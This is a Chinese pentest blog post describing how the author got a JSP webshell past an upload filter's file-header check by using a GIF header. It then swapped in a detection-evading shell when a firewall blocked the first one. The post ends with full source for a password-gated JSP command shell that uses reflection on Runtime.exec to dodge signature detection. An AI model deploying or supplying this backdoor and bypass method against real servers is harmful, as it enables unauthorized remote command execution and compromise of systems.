渗透实战-JSP上传webshell报错500

从毕业到现在接近3年了,也是终于迈出了跳槽的一步,本身不是很想跳槽,但是各种原因吧,还是跟上家公司说拜拜了,呆了2年多,进步了很多,感谢上家提供的平台,这篇故事发生在我入职新公司的第一天,上家公司我的一位组员,找到我,感觉这个可以学习一下,主要是一个渗透思路问题。

懒得打字了,上传的地方就大约是这个情况 ,看聊天聊天记录吧,大概就是可以上传webshell,但是报错

 

 

 下班后回家做了一顿饭,因为是跟xe合租的房子,他对象出去有事,只能我亲自下厨,因为是刚搬过来,没有锅盖,直接起锅烧油,洗菜盆子一盖

 味道可以,给我自己厨艺打个满分

吃完饭后我就打开电脑测试了一下,确实是检测文件头,

没有文件头就直接200.返回包什么东西都没有,带

文件头成功上传,并且返回上传路径 

 访问webshell 500,这里的500并不是冰蝎马那种500,因为我上传的是123456,本身并不应该报错

然后我换了一下JSPX 还是报错,提示空指针,不是马的问题

后来回看jsp的报错信息,仔细看发现报错原因居然是因为我们的图片马的文件头

 

具体是因为我们的png文件头不是UTF-8编码,但是删掉文件头又上传不上去,

 

一直在寻找躲避这个错误的方法,后来一想,gif的文件头可以是纯UTF-8编码的,测试一下传了个马正常上传

访问一下webshell看看还报错吗,无情,直接给我来了一句网络安全为人民,网络安全靠人民

转战免杀马继续测试,成功上传并且执行命令

最后分享一下免杀的cmd马

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    // 加入一个密码
    String PASSWORD = "password";
    String passwd = request.getParameter("pwd");
    String cmd = request.getParameter("cmd");
    if (!passwd.equals(PASSWORD)) {
        return;
    }
    // 反射调用
    Class rt = Class.forName("java.lang.Runtime");
    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    // 类似上文做回显
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

 还是那句话,代码是人写的,规则也是人配置的,渗透最重要的就是思路,好的思路会让你成长的更快

  • 7
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Azjj98

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值